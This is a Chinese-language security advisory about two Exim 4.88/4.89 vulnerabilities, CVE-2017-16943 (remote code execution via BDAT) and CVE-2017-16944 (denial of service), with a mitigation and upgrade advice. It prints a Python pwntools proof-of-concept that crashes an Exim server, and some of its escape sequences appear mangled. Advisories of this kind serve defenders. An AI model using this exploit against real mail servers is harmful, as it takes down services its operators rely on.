翻译:360代码卫士
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
影响范围
4.88和4.89
开源邮件传输代理Exim简介
Exim是由剑桥大学Philip Hazel开发的邮件传输代理,负责邮件的路由,转发和投递。它可运行在绝大多数的类Unix系统上,包括Solaris、AIX、Linux、macOS等。相比其他MTA,Exim配置更灵活,支持String Expansion技术,能执行诸如条件判断,字符转换等功能。
Exim漏洞提交至BugTracker
一名安全研究员发现并公开披露了流行互联网邮件信息传输代理Exim中的两个紧急漏洞,其中一个能导致远程攻击者在目标服务器上执行恶意代码。
最开始漏洞是由Phil Ponnock在黑五(11月25日)没有任何预告发布在这里的,提交到了该项目的BugTracker。
漏洞详情
第一个漏洞是使用后释放漏洞CVE-2017-16943,通过构造一个BDAT命令序列就可被用于在SMTP服务器中远程执行任意代码。研究人员还公布了用Python编写的PoC利用代码,任何人均可在易受攻击的Exim服务器中执行代码。
第二个漏洞是一个DoS漏洞,CVE-2017-16944,可导致远程攻击者在连接关闭的情况下通过强制其在不崩溃的情况下无限循环地运行将Exim服务器挂起。这个漏洞产生的原因是在解析BDAT数据头时未正确检查表示邮件结束的 ‘.’字符。研究人员还提供了PoC利用代码,导致Exim服务器耗尽栈并崩溃。
PoC
此为可造成Exim崩溃的PoC,封面图中包含另一个漏洞PoC
# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':rn')
r.recvuntil('command')
#raw_input()
r.send('n')
r.interactive()
exit()
Exim服务分布
在fofa.so上搜索”exim”发现使用exim服务的服务器数量挺多的,但大部分的exim服务集中在美国。
临时缓解措施
根据漏洞提交者在BugTracker中的说明,需要在Exim的配置文件中,加上
chunking_advertise_hosts=
也就是将chunking_advertise_hosts
的值设置为空,这样可以禁用ESMTP CHUNKING 扩展,使BDAT 不可用,从而避免被攻击者利用。
用户应尽快更新至4.90版本
Exim更新并不是非常多,上一个版本4.88刚刚修复了去年年底的CVE-2016-9963漏洞,而目前的两个漏洞则影响4.88和新版本4.89。为了保证安全,建议用户及时更新至在GitHub上发布的Exim 4.90版本。目前Exim官网并不能下载修复了漏洞的4.90版本。